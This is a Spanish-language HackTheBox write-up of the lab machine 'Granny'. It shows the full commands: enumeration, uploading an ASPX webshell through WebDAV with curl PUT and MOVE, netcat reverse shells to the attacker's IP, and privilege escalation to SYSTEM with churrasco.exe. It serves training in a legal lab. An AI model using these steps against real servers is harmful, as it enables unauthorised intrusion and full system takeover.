Post

HackTheBox - Granny

Máquina Windows de nivel Easy de HackTheBox.

Técnicas usadas: ISS Misconfiguration, Token Kidnapping Local Privilege Escalation (churrasco.exe)

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos.

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos

  • nmap -p<Puertos> -sCV <IP> -oN versiones

  • Como en el servidor se pueden usar múltiples métodos. Usaremos davtest para conocer que tipos de ficheros podemos subir

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
      ❯ davtest -url http://<IP Optimum>
      /usr/bin/davtest Summary:
      Created: http://10.10.10.15/DavTestDir_gAlOic7ySMNmb_n
      PUT File: http://10.10.10.15/DavTestDir_gAlOic7ySMNmb_n/davtest_gAlOic7ySMNmb_n.jsp
      PUT File: http://10.10.10.15/DavTestDir_gAlOic7ySMNmb_n/davtest_gAlOic7ySMNmb_n.txt
      PUT File: http://10.10.10.15/DavTestDir_gAlOic7ySMNmb_n/davtest_gAlOic7ySMNmb_n.jhtml
      PUT File: http://10.10.10.15/DavTestDir_gAlOic7ySMNmb_n/davtest_gAlOic7ySMNmb_n.html
      PUT File: http://10.10.10.15/DavTestDir_gAlOic7ySMNmb_n/davtest_gAlOic7ySMNmb_n.php
      PUT File: http://10.10.10.15/DavTestDir_gAlOic7ySMNmb_n/davtest_gAlOic7ySMNmb_n.cfm
      PUT File: http://10.10.10.15/DavTestDir_gAlOic7ySMNmb_n/davtest_gAlOic7ySMNmb_n.pl
      Executes: http://10.10.10.15/DavTestDir_gAlOic7ySMNmb_n/davtest_gAlOic7ySMNmb_n.txt
      Executes: http://10.10.10.15/DavTestDir_gAlOic7ySMNmb_n/davtest_gAlOic7ySMNmb_n.html
    

    No podemos subir ficheros .asp o .aspx, pero, podemos subir un fichero con extensión acepta y moverlo para tratar de cambiarle la extensión

  • Subimos un fichero test.txt, pero, su contenido será una webshell aspx

    1
    2
    3
    
    cp /usr/share/webshells/aspx/cmdasp.aspx test.txt
      ❯ curl -s -X PUT http://<IP Optimum>/test.txt -d @test.txt
      ❯ curl -s -X MOVE -H "Destination:http://<IP Optimum>/test.aspx" http://<IP Optimum>/test.txt
    

c. Ahora, ya podemos ejecutar comandos

  • Nos entablaremos una reverse shell

    1
    2
    3
    
    ls
      ❯ nc.exe
      ❯ impacket-smbserver Share ./ -smb2support
    

    1
    2
    3
    4
    5
    6
    
      ❯ nc -lvnp 443
      connect to [10.10.14.18] from (UNKNOWN) [10.10.10.15] 1038
      Microsoft Windows [Version 5.2.3790]
      (C) Copyright 1985-2003 Microsoft Corp.
    
      c:\windows\system32\inetsrv>
    

Escalada de Privilegios 💹

a. Investigamos un exploit en base a la información de systeminfo

c:\windows\system32\inetsrv>systeminfo                                                                                                                                                        
                                                                                                                                                                                              
Host Name:   GRANNY                                                                                                                                                             
OS Name:     Microsoft(R) Windows(R) Server 2003, Standard Edition

b. Pasamos el exploit a la máquina víctima y ejecutamos un comando para testear

1
2
3
4
5
6
❯ impacket-smbserver Share ./ -smb2support
-------------------------------------------------------------
C:\Temp>copy \\10.10.14.18\Share\churrasco.exe churrasco.exe
C:\Temp>.\churrasco.exe -d "whoami"
<SNIP>
nt authority\system

c. Nos entablaremos una reverse shell para tener una consola interactiva.

1
2
3
4
5
6
7
8
9
10
11
12
13
ls
❯ nc.exe
❯ impacket-smbserver Share ./ -smb2support
-------------------------------------------------------------
C:\Temp>.\churrasco.exe -d "\\<tun0 IP>\Share\nc.exe -e cmd <tun0 IP> 4445"

# Nos ponemos en escucha con nc
❯ nc -lvnp 4445
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\TEMP>whoami
nt authority\system
This post is licensed under CC BY 4.0 by the author.